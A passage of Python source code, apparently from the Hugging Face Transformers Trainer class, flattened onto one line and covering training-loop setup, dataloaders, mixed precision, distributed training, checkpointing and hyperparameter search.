data_collator if data_collator is not None else default_collator self.train_dataset = train_dataset self.eval_dataset = eval_dataset self.tokenizer = tokenizer # Model parallel if not self.is_model_parallel: model = model.to(args.device) else: # Force n_gpu to 1 to avoid DataParallel. self.args._n_gpu = 1 # later use `self.model is self.model_wrapped` to check if it's wrapped or not self.model_wrapped = model self.model = model self.compute_metrics = compute_metrics self.optimizer, self.lr_scheduler = optimizers if model_init is not None and (self.optimizer is not None or self.lr_scheduler is not None): raise RuntimeError( "Passing a `model_init` is incompatible with providing the `optimizers` argument." "You should subclass `Trainer` and override the `create_optimizer_and_scheduler` method." ) default_callbacks = DEFAULT_CALLBACKS + get_reporting_integration_callbacks(self.args.report_to) callbacks = default_callbacks if callbacks is None else default_callbacks + callbacks self.callback_handler = CallbackHandler( callbacks, self.model, self.tokenizer, self.optimizer, self.lr_scheduler ) self.add_callback(PrinterCallback if self.args.disable_tqdm else DEFAULT_PROGRESS_CALLBACK) # Will be set to True by `self._setup_loggers()` on first call to `self.log()`. self._loggers_initialized = False # Create output directory if needed if self.is_world_process_zero(): os.makedirs(self.args.output_dir, exist_ok=True) if is_torch_tpu_available() and isinstance(self.model, PreTrainedModel): # Set an xla_device flag on the model's config. # We'll find a more elegant and not need to do this in the future. self.model.config.xla_device = True if not callable(self.data_collator) and callable(getattr(self.data_collator, "collate_batch", None)): raise ValueError("The `data_collator` should be a simple callable (function, class with `__call__`).") if args.max_steps > 0: logger.info("max_steps is given, it will override any value given in num_train_epochs") # Enforce rules on using datasets with no __len__ if train_dataset is not None and not isinstance(train_dataset, collections.abc.Sized) and args.max_steps <= 0: raise ValueError("train_dataset does not implement __len__, max_steps has to be specified") if eval_dataset is not None and not isinstance(eval_dataset, collections.abc.Sized): raise ValueError("eval_dataset must implement __len__") if is_datasets_available(): if isinstance(train_dataset, datasets.Dataset): self._remove_unused_columns(self.train_dataset, description="training") if isinstance(eval_dataset, datasets.Dataset): self._remove_unused_columns(self.eval_dataset, description="evaluation") # Setup Sharded DDP training self.sharded_dpp = False if args.sharded_ddp: if args.deepspeed: raise ValueError( "Using --sharded_ddp together with --deepspeed is not possible, deactivate one of those flags." ) if args.local_rank == -1: raise ValueError("Using sharded DDP only works in distributed training.") elif not is_fairscale_available(): raise ImportError("Sharded DDP training requires fairscale: `pip install fairscale`.") else: self.sharded_dpp = True # Mixed precision setup self.use_apex = False self.use_amp = False self.fp16_backend = None if args.fp16: if args.fp16_backend == "auto": self.fp16_backend = "amp" if _is_native_amp_available else "apex" else: self.fp16_backend = args.fp16_backend logger.info(f"Using {self.fp16_backend} fp16 backend") if args.fp16 and not args.deepspeed: # deepspeed manages its own fp16 if self.fp16_backend == "amp": self.use_amp = True self.scaler = ShardedGradScaler() if self.sharded_dpp else torch.cuda.amp.GradScaler() else: if not is_apex_available(): raise ImportError( "Using FP16 with APEX but APEX is not installed, please refer to https://www.github.com/nvidia/apex." ) self.use_apex = True # Label smoothing if self.args.label_smoothing_factor != 0: self.label_smoother = LabelSmoother(epsilon=self.args.label_smoothing_factor) else: self.label_smoother = None self.state = TrainerState() self.control = TrainerControl() # Internal variable for total_flos used to count as tensors (for distributed + TPU), will be sent in the # state at each call to self.log. self._total_flos = None self.hp_search_backend = None self.use_tune_checkpoints = False default_label_names = ( ["start_positions", "end_positions"] if type(self.model) in MODEL_FOR_QUESTION_ANSWERING_MAPPING.values() else ["labels"] ) self.label_names = default_label_names if self.args.label_names is None else self.args.label_names self.control = self.callback_handler.on_init_end(self.args, self.state, self.control) def add_callback(self, callback): """ Add a callback to the current list of :class:`~transformer.TrainerCallback`. Args: callback (:obj:`type` or :class:`~transformer.TrainerCallback`): A :class:`~transformer.TrainerCallback` class or an instance of a :class:`~transformer.TrainerCallback`. In the first case, will instantiate a member of that class. """ self.callback_handler.add_callback(callback) def pop_callback(self, callback): """ Remove a callback from the current list of :class:`~transformer.TrainerCallback` and returns it. If the callback is not found, returns :obj:`None` (and no error is raised). Args: callback (:obj:`type` or :class:`~transformer.TrainerCallback`): A :class:`~transformer.TrainerCallback` class or an instance of a :class:`~transformer.TrainerCallback`. In the first case, will pop the first member of that class found in the list of callbacks. Returns: :class:`~transformer.TrainerCallback`: The callback removed, if found. """ return self.callback_handler.pop_callback(callback) def remove_callback(self, callback): """ Remove a callback from the current list of :class:`~transformer.TrainerCallback`. Args: callback (:obj:`type` or :class:`~transformer.TrainerCallback`): A :class:`~transformer.TrainerCallback` class or an instance of a :class:`~transformer.TrainerCallback`. In the first case, will remove the first member of that class found in the list of callbacks. """ self.callback_handler.remove_callback(callback) def _remove_unused_columns(self, dataset: "datasets.Dataset", description: Optional[str] = None): if not self.args.remove_unused_columns: return # Inspect model forward signature to keep only the arguments it accepts. signature = inspect.signature(self.model.forward) signature_columns = list(signature.parameters.keys()) # Labels may be named label or label_ids, the default data collator handles that. signature_columns += ["label", "label_ids"] columns = [k for k in signature_columns if k in dataset.column_names] ignored_columns = list(set(dataset.column_names) - set(signature_columns)) dset_description = "" if description is None else f"in the {description} set " logger.info( f"The following columns {dset_description}don't have a corresponding argument in `{self.model.__class__.__name__}.forward` and have been ignored: {', '.join(ignored_columns)}." ) dataset.set_format(type=dataset.format["type"], columns=columns) def _get_train_sampler(self) -> Optional[torch.utils.data.sampler.Sampler]: if isinstance(self.train_dataset, torch.utils.data.IterableDataset) or not isinstance( self.train_dataset, collections.abc.Sized ): return None # Gather the number of processes and this process index. if self.args.parallel_mode == ParallelMode.TPU: num_processes = xm.xrt_world_size() process_index = xm.get_ordinal() elif ( self.args.parallel_mode == ParallelMode.DISTRIBUTED or self.args.parallel_mode == ParallelMode.SAGEMAKER_DISTRIBUTED ): num_processes = dist.get_world_size() process_index = dist.get_rank() else: num_processes = 1 process_index = 0 # Build the sampler. if self.args.group_by_length: if num_processes <= 1: return LengthGroupedSampler(self.train_dataset, self.args.train_batch_size) else: return DistributedLengthGroupedSampler( self.train_dataset, self.args.train_batch_size, num_replicas=num_processes, rank=process_index ) else: if num_processes <= 1: return RandomSampler(self.train_dataset) else: return DistributedSampler(self.train_dataset, num_replicas=num_processes, rank=process_index) def get_train_dataloader(self) -> DataLoader: """ Returns the training :class:`~torch.utils.data.DataLoader`. Will use no sampler if :obj:`self.train_dataset` does not implement :obj:`__len__`, a random sampler (adapted to distributed training if necessary) otherwise. Subclass and override this method if you want to inject some custom behavior. """ if self.train_dataset is None: raise ValueError("Trainer: training requires a train_dataset.") train_sampler = self._get_train_sampler() return DataLoader( self.train_dataset, batch_size=self.args.train_batch_size, sampler=train_sampler, collate_fn=self.data_collator, drop_last=self.args.dataloader_drop_last, num_workers=self.args.dataloader_num_workers, pin_memory=self.args.dataloader_pin_memory, ) def _get_eval_sampler(self, eval_dataset: Dataset) -> Optional[torch.utils.data.sampler.Sampler]: if is_torch_tpu_available(): return SequentialDistributedSampler(eval_dataset, num_replicas=xm.xrt_world_size(), rank=xm.get_ordinal()) elif self.args.local_rank != -1: return SequentialDistributedSampler(eval_dataset) else: return SequentialSampler(eval_dataset) def get_eval_dataloader(self, eval_dataset: Optional[Dataset] = None) -> DataLoader: """ Returns the evaluation :class:`~torch.utils.data.DataLoader`. Subclass and override this method if you want to inject some custom behavior. Args: eval_dataset (:obj:`torch.utils.data.dataset.Dataset`, `optional`): If provided, will override :obj:`self.eval_dataset`. If it is an :obj:`datasets.Dataset`, columns not accepted by the ``model.forward()`` method are automatically removed. It must implement :obj:`__len__`. """ if eval_dataset is None and self.eval_dataset is None: raise ValueError("Trainer: evaluation requires an eval_dataset.") elif eval_dataset is not None and not isinstance(eval_dataset, collections.abc.Sized): raise ValueError("eval_dataset must implement __len__") elif is_datasets_available() and isinstance(eval_dataset, datasets.Dataset): self._remove_unused_columns(eval_dataset, description="evaluation") eval_dataset = eval_dataset if eval_dataset is not None else self.eval_dataset eval_sampler = self._get_eval_sampler(eval_dataset) return DataLoader( eval_dataset, sampler=eval_sampler, batch_size=self.args.eval_batch_size, collate_fn=self.data_collator, drop_last=self.args.dataloader_drop_last, num_workers=self.args.dataloader_num_workers, pin_memory=self.args.dataloader_pin_memory, ) def get_test_dataloader(self, test_dataset: Dataset) -> DataLoader: """ Returns the test :class:`~torch.utils.data.DataLoader`. Subclass and override this method if you want to inject some custom behavior. Args: test_dataset (:obj:`torch.utils.data.dataset.Dataset`, `optional`): The test dataset to use. If it is an :obj:`datasets.Dataset`, columns not accepted by the ``model.forward()`` method are automatically removed. It must implement :obj:`__len__`. """ if not isinstance(test_dataset, collections.abc.Sized): raise ValueError("test_dataset must implement __len__") elif is_datasets_available() and isinstance(test_dataset, datasets.Dataset): self._remove_unused_columns(test_dataset, description="test") test_sampler = self._get_eval_sampler(test_dataset) # We use the same batch_size as for eval. return DataLoader( test_dataset, sampler=test_sampler, batch_size=self.args.eval_batch_size, collate_fn=self.data_collator, drop_last=self.args.dataloader_drop_last, pin_memory=self.args.dataloader_pin_memory, ) def create_optimizer_and_scheduler(self, num_training_steps: int): """ Setup the optimizer and the learning rate scheduler. We provide a reasonable default that works well. If you want to use something else, you can pass a tuple in the Trainer's init through :obj:`optimizers`, or subclass and override this method in a subclass. """ if self.optimizer is None: no_decay = ["bias", "LayerNorm.weight"] optimizer_grouped_parameters = [ { "params": [p for n, p in self.model.named_parameters() if not any(nd in n for nd in no_decay)], "weight_decay": self.args.weight_decay, }, { "params": [p for n, p in self.model.named_parameters() if any(nd in n for nd in no_decay)], "weight_decay": 0.0, }, ] optimizer_cls = Adafactor if self.args.adafactor else AdamW if self.args.adafactor: optimizer_cls = Adafactor optimizer_kwargs = {"scale_parameter": False, "relative_step": False} else: optimizer_cls = AdamW optimizer_kwargs = { "betas": (self.args.adam_beta1, self.args.adam_beta2), "eps": self.args.adam_epsilon, } optimizer_kwargs["lr"] = self.args.learning_rate if self.sharded_dpp: self.optimizer = OSS( params=optimizer_grouped_parameters, optim=optimizer_cls, **optimizer_kwargs, ) else: self.optimizer = optimizer_cls(optimizer_grouped_parameters, **optimizer_kwargs) if self.lr_scheduler is None: self.lr_scheduler = get_scheduler( self.args.lr_scheduler_type, self.optimizer, num_warmup_steps=self.args.warmup_steps, num_training_steps=num_training_steps, ) def num_examples(self, dataloader: DataLoader) -> int: """ Helper to get number of samples in a :class:`~torch.utils.data.DataLoader` by accessing its dataset. Will raise an exception if the underlying dataset dese not implement method :obj:`__len__` """ return len(dataloader.dataset) def _hp_search_setup(self, trial: Union["optuna.Trial", Dict[str, Any]]): """ HP search setup code """ self._trial = trial if self.hp_search_backend is None or trial is None: return params = self.hp_space(trial) if self.hp_search_backend == HPSearchBackend.OPTUNA else trial for key, value in params.items(): if not hasattr(self.args, key): raise AttributeError( f"Trying to set {key} in the hyperparameter search but there is no corresponding field in `TrainingArguments`." ) old_attr = getattr(self.args, key, None) # Casting value to the proper type if old_attr is not None: value = type(old_attr)(value) setattr(self.args, key, value) if self.hp_search_backend == HPSearchBackend.OPTUNA: logger.info("Trial:", trial.params) def _report_to_hp_search( self, trial: Union["optuna.Trial", Dict[str, Any]], epoch: int, metrics: Dict[str, float] ): if self.hp_search_backend is None or trial is None: return self.objective = self.compute_objective(metrics.copy()) if self.hp_search_backend == HPSearchBackend.OPTUNA: import optuna trial.report(self.objective, epoch) if trial.should_prune(): raise optuna.TrialPruned() elif self.hp_search_backend == HPSearchBackend.RAY: from ray import tune if self.state.global_step % self.args.save_steps == 0: self._tune_save_checkpoint() tune.report(objective=self.objective, **metrics) def _tune_save_checkpoint(self): from ray import tune if not self.use_tune_checkpoints: return with tune.checkpoint_dir(step=self.state.global_step) as checkpoint_dir: self.args.output_dir = checkpoint_dir output_dir = os.path.join(self.args.output_dir, f"{PREFIX_CHECKPOINT_DIR}-{self.state.global_step}") self.save_model(output_dir) if self.is_world_process_zero(): self.state.save_to_json(os.path.join(output_dir, "trainer_state.json")) torch.save(self.optimizer.state_dict(), os.path.join(output_dir, "optimizer.pt")) torch.save(self.lr_scheduler.state_dict(), os.path.join(output_dir, "scheduler.pt")) def call_model_init(self, trial=None): model_init_argcount = len(inspect.signature(self.model_init).parameters) if model_init_argcount == 0: model = self.model_init() elif model_init_argcount == 1: model = self.model_init(trial) else: raise RuntimeError("model_init should have 0 or 1 argument.") if model is None: raise RuntimeError("model_init should not return None.") return model def train( self, resume_from_checkpoint: Optional[str] = None, trial: Union["optuna.Trial", Dict[str, Any]] = None, **kwargs, ): """ Main training entry point. Args: resume_from_checkpoint (:obj:`str`, `optional`): Local path to a saved checkpoint as saved by a previous instance of :class:`~transformers.Trainer`. If present, training will resume from the model/optimizer/scheduler states loaded here. trial (:obj:`optuna.Trial` or :obj:`Dict[str, Any]`, `optional`): The trial run or the hyperparameter dictionary for hyperparameter search. kwargs: Additional keyword arguments used to hide deprecated arguments """ if "model_path" in kwargs: resume_from_checkpoint = kwargs.pop("model_path") warnings.warn( "`model_path` is deprecated and will be removed in a future version. Use `resume_from_checkpoint` " "instead.", FutureWarning, ) if len(kwargs) > 0: raise TypeError(f"train() received got unexpected keyword arguments: {', '.join(list(kwargs.keys()))}.") # This might change the seed so needs to run first. self._hp_search_setup(trial) # Model re-init model_reloaded = False if self.model_init is not None: # Seed must be set before instantiating the model when using model_init. set_seed(self.args.seed) self.model = self.call_model_init(trial) model_reloaded = True # Reinitializes optimizer and scheduler self.optimizer, self.lr_scheduler = None, None # Load potential model checkpoint if resume_from_checkpoint is not None and os.path.isfile(os.path.join(resume_from_checkpoint, WEIGHTS_NAME)): logger.info(f"Loading model from {resume_from_checkpoint}).") if isinstance(self.model, PreTrainedModel): self.model = self.model.from_pretrained(resume_from_checkpoint) model_reloaded = True else: state_dict = torch.load(os.path.join(resume_from_checkpoint, WEIGHTS_NAME)) self.model.load_state_dict(state_dict) # If model was re-initialized, put it on the right device and update self.model_wrapped if model_reloaded: if not self.is_model_parallel: self.model = self.model.to(self.args.device) self.model_wrapped = self.model # Keeping track whether we can can len() on the dataset or not train_dataset_is_sized = isinstance(self.train_dataset, collections.abc.Sized) # Data loader and number of training steps train_dataloader = self.get_train_dataloader() # Setting up training control variables: # number of training epochs: num_train_epochs # number of training steps per epoch: num_update_steps_per_epoch # total number of training steps to execute: max_steps if train_dataset_is_sized: num_update_steps_per_epoch = len(train_dataloader) // self.args.gradient_accumulation_steps num_update_steps_per_epoch = max(num_update_steps_per_epoch, 1) if self.args.max_steps > 0: max_steps = self.args.max_steps num_train_epochs = self.args.max_steps // num_update_steps_per_epoch + int( self.args.max_steps % num_update_steps_per_epoch > 0 ) else: max_steps = math.ceil(self.args.num_train_epochs * num_update_steps_per_epoch) num_train_epochs = math.ceil(self.args.num_train_epochs) else: # see __init__. max_steps is set when the dataset has no __len__ max_steps = self.args.max_steps num_train_epochs = 1 num_update_steps_per_epoch = max_steps if self.args.deepspeed: model, optimizer, lr_scheduler = init_deepspeed(self, num_training_steps=max_steps) self.model = model.module self.model_wrapped = model # will get further wrapped in DDP self.deepspeed = model # DeepSpeedEngine object self.optimizer = optimizer self.lr_scheduler = lr_scheduler else: self.create_optimizer_and_scheduler(num_training_steps=max_steps) self.state = TrainerState() self.state.is_hyper_param_search = trial is not None # Check if saved optimizer or scheduler states exist self._load_optimizer_and_scheduler(resume_from_checkpoint) model = self.model_wrapped # Mixed precision training with apex (torch < 1.6) if self.use_apex: model, self.optimizer = amp.initialize(model, self.optimizer, opt_level=self.args.fp16_opt_level) # Multi-gpu training (should be after apex fp16 initialization) if self.args.n_gpu > 1: model = torch.nn.DataParallel(model) # Distributed training (should be after apex fp16 initialization) if self.sharded_dpp: model = ShardedDDP(model, self.optimizer) elif is_sagemaker_distributed_available(): model = DDP(model, device_ids=[dist.get_local_rank()], broadcast_buffers=False) elif self.args.local_rank != -1: if self.args.ddp_find_unused_parameters is not None: find_unused_parameters = self.args.ddp_find_unused_parameters elif isinstance(model, PreTrainedModel): # find_unused_parameters breaks checkpointing as per # https://github.com/huggingface/transformers/pull/4659#issuecomment-643356021 find_unused_parameters = not getattr(model.config, "gradient_checkpointing", False) else: find_unused_parameters = True model = torch.nn.parallel.DistributedDataParallel( model, device_ids=[self.args.local_rank], output_device=self.args.local_rank, find_unused_parameters=find_unused_parameters, ) # for the rest of this function `model` is the outside model, whether it was wrapped or not if model is not self.model: self.model_wrapped = model # important: at this point: # self.model is the Transformers Model # self.model_wrapped is DDP(Transformers Model), DDP(Deepspeed(Transformers Model)), etc. # Train! if is_torch_tpu_available(): world_size = xm.xrt_world_size() elif self.args.local_rank != -1: world_size = dist.get_world_size() else: world_size = 1 total_train_batch_size = self.args.train_batch_size * self.args.gradient_accumulation_steps * world_size num_examples = ( self.num_examples(train_dataloader) if train_dataset_is_sized else total_train_batch_size * self.args.max_steps ) logger.info("***** Running training *****") logger.info(f" Num examples = {num_examples}") logger.info(f" Num Epochs = {num_train_epochs}") logger.info(f" Instantaneous batch size per device = {self.args.per_device_train_batch_size}") logger.info(f" Total train batch size (w. parallel, distributed & accumulation) = {total_train_batch_size}") logger.info(f" Gradient Accumulation steps = {self.args.gradient_accumulation_steps}") logger.info(f" Total optimization steps = {max_steps}") self.state.epoch = 0 start_time = time.time() epochs_trained = 0 steps_trained_in_current_epoch = 0 # Check if continuing training from a checkpoint if resume_from_checkpoint is not None and os.path.isfile( os.path.join(resume_from_checkpoint, "trainer_state.json") ): self.state = TrainerState.load_from_json(os.path.join(resume_from_checkpoint, "trainer_state.json")) epochs_trained = self.state.global_step // num_update_steps_per_epoch if not self.args.ignore_data_skip: steps_trained_in_current_epoch = self.state.global_step % (num_update_steps_per_epoch) steps_trained_in_current_epoch *= self.args.gradient_accumulation_steps else: steps_trained_in_current_epoch = 0 logger.info(" Continuing training from checkpoint, will skip to saved global_step") logger.info(f" Continuing training from epoch {epochs_trained}") logger.info(f" Continuing training from global step {self.state.global_step}") if not self.args.ignore_data_skip: logger.info( f" Will skip the first {epochs_trained} epochs then the first {steps_trained_in_current_epoch} " "batches in the first epoch." ) # Update the references self.callback_handler.model = self.model self.callback_handler.optimizer = self.optimizer self.callback_handler.lr_scheduler = self.lr_scheduler self.callback_handler.train_dataloader = train_dataloader self.state.trial_name = self.hp_name(trial) if self.hp_name is not None else None self.state.trial_params = hp_params(trial) if trial is not None else None # This should be the same if the state has been saved but in case the training arguments changed, it's safer # to set this after the load. self.state.max_steps = max_steps self.state.num_train_epochs = num_train_epochs self.state.is_local_process_zero = self.is_local_process_zero() self.state.is_world_process_zero = self.is_world_process_zero() # tr_loss is a tensor to avoid synchronization of TPUs through .item() tr_loss = torch.tensor(0.0).to(self.args.device) # _total_loss_scalar is updated everytime .item() has to be called on tr_loss and stores the sum of all losses self._total_loss_scalar = 0.0 self._globalstep_last_logged = self.state.global_step self._total_flos = self.state.total_flos model.zero_grad() self.control = self.callback_handler.on_train_begin(self.args, self.state, self.control) # Skip the first epochs_trained epochs to get the random state of the dataloader at the right point. if not self.args.ignore_data_skip: for epoch in range(epochs_trained): # We just need to begin an iteration to create the randomization of the sampler. for _ in train_dataloader: break for epoch in range(epochs_trained, num_train_epochs): if isinstance(train_dataloader, DataLoader) and isinstance(train_dataloader.sampler, DistributedSampler): train_dataloader.sampler.set_epoch(epoch) if is_torch_tpu_available(): parallel_loader = pl.ParallelLoader(train_dataloader, [self.args.device]).per_device_loader( self.args.device ) epoch_iterator = parallel_loader else: epoch_iterator = train_dataloader # Reset the past mems state at the beginning of each epoch if necessary. if self.args.past_index >= 0: self._past = None steps_in_epoch = len(epoch_iterator) if train_dataset_is_sized else self.args.max_steps self.control = self.callback_handler.on_epoch_begin(self.args, self.state, self.control) for step, inputs in enumerate(epoch_iterator): # Skip past any already trained steps if resuming training if steps_trained_in_current_epoch > 0: steps_trained_in_current_epoch -= 1 continue if (step + 1) % self.args.gradient_accumulation_steps == 0: self.control = self.callback_handler.on_step_begin(self.args, self.state, self.control) if ((step + 1) % self.args.gradient_accumulation_steps != 0) and self.args.local_rank != -1: # Avoid unnecessary DDP synchronization since there will be no backward pass on this example. with model.no_sync(): tr_loss += self.training_step(model, inputs) else: tr_loss += self.training_step(model, inputs) self._total_flos += self.floating_point_ops(inputs) if (step + 1) % self.args.gradient_accumulation_steps == 0 or ( # last step in epoch but step is always smaller than gradient_accumulation_steps steps_in_epoch <= self.args.gradient_accumulation_steps and (step + 1) == steps_in_epoch ): # Gradient clipping if self.args.max_grad_norm is not None and self.args.max_grad_norm > 0 and not self.deepspeed: # deepspeed does its own clipping if self.use_amp: # AMP: gradients need unscaling self.scaler.unscale_(self.optimizer) if hasattr(self.optimizer, "clip_grad_norm"): # Some optimizers (like the sharded optimizer) have a specific way to do gradient clipping self.optimizer.clip_grad_norm(self.args.max_grad_norm) else: # Revert to normal clipping otherwise, handling Apex or full precision torch.nn.utils.clip_grad_norm_( amp.master_params(self.optimizer) if self.use_apex else model.parameters(), self.args.max_grad_norm, ) # Optimizer step if self.deepspeed: self.deepspeed.step() elif is_torch_tpu_available(): xm.optimizer_step(self.optimizer) elif self.use_amp: self.scaler.step(self.optimizer) self.scaler.update() else: self.optimizer.step() self.lr_scheduler.step() model.zero_grad() self.state.global_step += 1 self.state.epoch = epoch + (step + 1) / steps_in_epoch self.control = self.callback_handler.on_step_end(self.args, self.state, self.control) self._maybe_log_save_evaluate(tr_loss, model, trial, epoch) if self.control.should_epoch_stop or self.control.should_training_stop: break self.control = self.callback_handler.on_epoch_end(self.args, self.state, self.control) self._maybe_log_save_evaluate(tr_loss, model, trial, epoch) if self.args.tpu_metrics_debug or self.args.debug: if is_torch_tpu_available(): # tpu-comment: Logging debug metrics for PyTorch/XLA (compile, execute times, ops, etc.) xm.master_print(met.metrics_report()) else: logger.warning( "You enabled PyTorch/XLA debug metrics but you don't have a TPU " "configured. Check your training configuration if this is unexpected." ) if self.control.should_training_stop: break if self.args.past_index and hasattr(self, "_past"): # Clean the state at the end of training delattr(self, "_past") logger.info("\n\nTraining completed. Do not forget to share your model on huggingface.co/models =)\n\n") if self.args.load_best_model_at_end and self.state.best_model_checkpoint is not None: logger.info( f"Loading best model from {self.state.best_model_checkpoint} (score: {self.state.best_metric})." ) if isinstance(self.model, PreTrainedModel): self.model = self.model.from_pretrained(self.state.best_model_checkpoint) if not self.is_model_parallel: self.model = self.model.to(self.args.device) else: state_dict = torch.load(os.path.join(self.state.best_model_checkpoint, WEIGHTS_NAME)) self.model.load_state_dict(state_dict) if self.deepspeed: self.deepspeed.load_checkpoint( self.state.best_model_checkpoint, load_optimizer_states=False, load_lr_scheduler_states=False ) metrics = speed_metrics("train", start_time, self.state.max_steps) if self._total_flos is not None: self.store_flos() metrics["total_flos"] = self.state.total_flos self.log(metrics) self.control = self.callback_handler.on_train_end(self.args, self.state, self.control) # add remaining tr_loss self._total_loss_scalar += tr_loss.item() return TrainOutput(self.state.global_step, self._total_loss_scalar / self.state.global_step, metrics) def _maybe_log_save_evaluate(self, tr_loss, model, trial, epoch): if self.control.should_log: logs: Dict[str, float] = {} tr_loss_scalar = tr_loss.item() # reset tr_loss to zero tr_loss -= tr_loss logs["loss"] = round(tr_loss_scalar / (self.state.global_step - self._globalstep_last_logged), 4) # backward compatibility for pytorch schedulers logs["learning_rate"] = ( self.lr_scheduler.get_last_lr()[0] if version.parse(torch.__version__) >= version.parse("1.4") else self.lr_scheduler.get_lr()[0] ) self._total_loss_scalar += tr_loss_scalar self._globalstep_last_logged = self.state.global_step self.log(logs) metrics = None if self.control.should_evaluate: metrics = self.evaluate() self._report_to_hp_search(trial, epoch, metrics) if self.control.should_save: self._save_checkpoint(model, trial, metrics=metrics) self.control = self.callback_handler.on_save(self.args, self.state, self.control) def _save_checkpoint(self, model, trial, metrics=None): # In all cases, including ddp/dp/deepspeed, self.model is always a reference to the model we # want to save. assert _model_unwrap(model) is self.model, "internal model should be a reference to self.model" # Save model checkpoint checkpoint_folder = f"{PREFIX_CHECKPOINT_DIR}-{self.state.global_step}" if self.hp_search_backend is not None and trial is not None: if self.hp_search_backend == HPSearchBackend.OPTUNA: run_id = trial.number else: from ray import tune run_id = tune.get_trial_id() run_name = self.hp_name(trial) if self.hp_name is not None else f"run-{run_id}" output_dir = os.path.join(self.args.output_dir, run_name, checkpoint_folder) else: output_dir = os.path.join(self.args.output_dir, checkpoint_folder) self.store_flos() self.save_model(output_dir) if self.deepspeed: self.deepspeed.save_checkpoint(output_dir) # Save optimizer and scheduler if self.sharded_dpp: self.optimizer.consolidate_state_dict() if is_torch_tpu_available(): xm.rendezvous("saving_optimizer_states") xm.save(self.optimizer.state_dict(), os.path.join(output_dir, "optimizer.pt")) with warnings.catch_warnings(record=True) as caught_warnings: xm.save(self.lr_scheduler.state_dict(), os.path.join(output_dir, "scheduler.pt")) reissue_pt_warnings(caught_warnings) elif self.is_world_process_zero() and not self.deepspeed: # deepspeed.save_checkpoint above saves model/optim/sched torch.save(self.optimizer.state_dict(), os.path.join(output_dir, "optimizer.pt")) with warnings.catch_warnings(record=True) as caught_warnings: torch.save(self.lr_scheduler.state_dict(), os.path.join(output_dir, "scheduler.pt")) reissue_pt_warnings(caught_warnings) # Determine the new best metric / best model checkpoint if metrics is not None and self.args.metric_for_best_model is not None: metric_to_check = self.args.metric_for_best_model if not metric_to_check.startswith("eval_"): metric_to_check = f"eval_{metric_to_check}" metric_value = metrics[metric_to_check] operator = np.greater if self.args.greater_is_better else np.less if ( self.state.best_metric is None or self.state.best_model_checkpoint is None or operator(metric_value, self.state.best_metric) ): self.state.best_metric = metric_value self.state.best_model_checkpoint = output_dir # Save the Trainer state if self.is_world_process_zero(): self.state.save_to_json(os.path.join(output_dir, "trainer_state.json")) # Maybe delete some older checkpoints. if self.is_world_process_zero(): self._rotate_checkpoints(use_mtime=True) def _load_optimizer_and_scheduler(self, checkpoint): """If optimizer and scheduler states exist, load them.""" if checkpoint is None: return if os.path.isfile(os.path.join(checkpoint, "optimizer.pt")) and os.path.isfile( os.path.join(checkpoint, "scheduler.pt") ): # Load in optimizer and scheduler states if is_torch_tpu_available(): # On TPU we have to take some extra precautions to properly load the states on the right device. optimizer_state = torch.load(os.path.join(checkpoint, "optimizer.pt"), map_location="cpu") with warnings.catch_warnings(record=True) as caught_warnings: lr_scheduler_state = torch.load(os.path.join(checkpoint, "scheduler.pt"), map_location="cpu") reissue_pt_warnings(caught_warnings) xm.send_cpu_data_to_device(optimizer_state, self.args.device) xm.send_cpu_data_to_device(lr_scheduler_state, self.args.device) self.optimizer.load_state_dict(optimizer_state) self.lr_scheduler.load_state_dict(lr_scheduler_state) else: self.optimizer.load_state_dict( torch.load(os.path.join(checkpoint, "optimizer.pt"), map_location=self.args.device) ) with warnings.catch_warnings(record=True) as caught_warnings: self.lr_scheduler.load_state_dict(torch.load(os.path.join(checkpoint, "scheduler.pt"))) reissue_pt_warnings(caught_warnings) if self.deepspeed: # Not sure how to check if there is a saved deepspeed checkpoint, but since it just return None if it fails to find a deepspeed checkpoint this is sort of a check-n-load function self.deepspeed.load_checkpoint(checkpoint, load_optimizer_states=True, load_lr_scheduler_states=True) def hyperparameter_search( self, hp_space: Optional[Callable[["optuna.Trial"], Dict[str, float]]] = None, compute_objective: Optional[Callable[[Dict[str, float]], float]] = None, n_trials: int = 20, direction: str = "minimize", backend: Optional[Union["str", HPSearchBackend]] = None, hp_name: Optional[Callable[["optuna.Trial"], str]] = None, **kwargs, ) -> BestRun: """ Launch an hyperparameter search using ``optuna`` or ``Ray Tune``. The optimized quantity is determined by :obj:`compute_objective`, which defaults to a function returning the evaluation loss when no metric is provided, the sum of all metrics otherwise. .. warning:: To use this method, you need to have provided a ``model_init`` when initializing your :class:`~transformers.Trainer`: we need to reinitialize the model at each new run. This is incompatible with the ``optimizers`` argument, so you need to subclass :class:`~transformers.Trainer` and override the method :meth:`~transformers.Trainer.create_optimizer_and_scheduler` for custom optimizer/scheduler. Args: hp_space (:obj:`Callable[["optuna.Trial"], Dict[str, float]]`, `optional`): A function that defines the hyperparameter search space. Will default to :func:`~transformers.trainer_utils.default_hp_space_optuna` or :func:`~transformers.trainer_utils.default_hp_space_ray` depending on your backend. compute_objective (:obj:`Callable[[Dict[str, float]], float]`, `optional`): A function computing the objective to minimize or maximize from the metrics returned by the :obj:`evaluate` method. Will default to :func:`~transformers.trainer_utils.default_compute_objective`. n_trials (:obj:`int`, `optional`, defaults to 100): The number of trial runs to test. direction(:obj:`str`, `optional`, defaults to :obj:`"minimize"`): Whether to optimize greater or lower objects. Can be :obj:`"minimize"` or :obj:`"maximize"`, you should pick :obj:`"minimize"` when optimizing the validation loss, :obj:`"maximize"` when optimizing one or several metrics. backend(:obj:`str` or :class:`~transformers.training_utils.HPSearchBackend`, `optional`): The backend to use for hyperparameter search. Will default to optuna or Ray Tune, depending on which one is installed. If both are installed, will default to optuna. kwargs: Additional keyword arguments passed along to :obj:`optuna.create_study` or :obj:`ray.tune.run`. For more information see: - the documentation of `optuna.create_study <https://optuna.readthedocs.io/en/stable/reference/alias_generated/optuna.create_study.html#optuna.create_study>`__ - the documentation of `tune.run <https://docs.ray.io/en/latest/tune/api_docs/execution.html#tune-run>`__ Returns: :class:`transformers.trainer_utils.BestRun`: All the information about the best run. """ if backend is None: backend = default_hp_search_backend() if backend is None: raise RuntimeError( "At least one of optuna or ray should be installed. " "To install optuna run `pip install optuna`." "To install ray run `pip install ray[tune]`." ) backend = HPSearchBackend(backend) if backend == HPSearchBackend.OPTUNA and not is_optuna_available(): raise RuntimeError("You picked the optuna backend, but it is not installed. Use `pip install optuna`.") if backend == HPSearchBackend.RAY and not is_ray_tune_available(): raise RuntimeError( "You picked the Ray Tune backend, but it is not installed. Use `pip install 'ray[tune]'`." ) self.hp_search_backend = backend if self.model_init is None: raise RuntimeError( "To use hyperparameter search, you need to pass your model through a model_init function." ) self.hp_space = default_hp_space[backend] 